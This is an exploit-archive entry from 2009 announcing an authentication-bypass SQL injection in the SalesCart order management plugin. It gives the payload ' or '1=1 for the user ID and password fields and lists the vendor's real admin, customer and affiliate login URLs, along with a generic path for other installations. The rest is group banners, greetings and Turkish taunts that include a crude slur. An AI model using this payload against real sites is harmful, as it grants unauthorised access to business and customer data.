[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : SalesCart (Auth Bypass) SQL Injection Vulnerability
# Published : 2009-01-30
# Author : ByALBAYX
# Previous Title : OpenHelpDesk 1.0.100 eval() Code Execution Exploit (meta)
# Next Title : ReVou Twitter Clone (XSS/SQL) Multiple Remote Vulnerabilities
#############################################
#----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author : ByALBAYX
[~]Website : WWW.C4TEAM.ORG
#############################################
[~]Script :SalesCart Product Management Plugin
[~]Site :http://www.salescart.com
[~]Demo :http://www.salescart.com/scorderdemo/online/default.asp
[~]Details :http://www.salescart.com/demo.htm
#############################################
Order Management Plugin
Create sales reports, invoices, labels, track fulfillment, export data, QuickBooks
[~]Working Demo
[~]http://www.salescart.com/scorderdemo/online/default.asp
[~]UserID : ' or '1=1
[~]Password : ' or '1=1
[~]http://www.salescart.com/scorderdemo/online/customer/customer_login.asp
[~]Ship-to Email Address : xxx@c4team.org
[~]Password : ' or '1=1
[~]http://www.salescart.com/scorderdemo/online/affiliate/affiliate_login.asp
#############################################
[~]http://www.c4team.org/ [PATH] /default.asp
[~]UserID : ' or '1=1
[~]Password : ' or '1=1
[~]vs... :D
#############################################
[~]iSiNiZE BAqIN :=)
[~]Greetz For C4TEAM Members
#############################################
[~]Uzun Yillardir Bu Iskorpitx Nefretini Anlayamadim Gitti....
[~]Gotlerinin Bokuyla isko'ya Rajon Kesiyo ibneler :D :D
#############################################
Derdimi dinledim, derdimden iGRENDiM...
Onun derdini gordum, derdime iMRENDiM...
FilistiN
----------
# www.Syue.com [2009-01-30]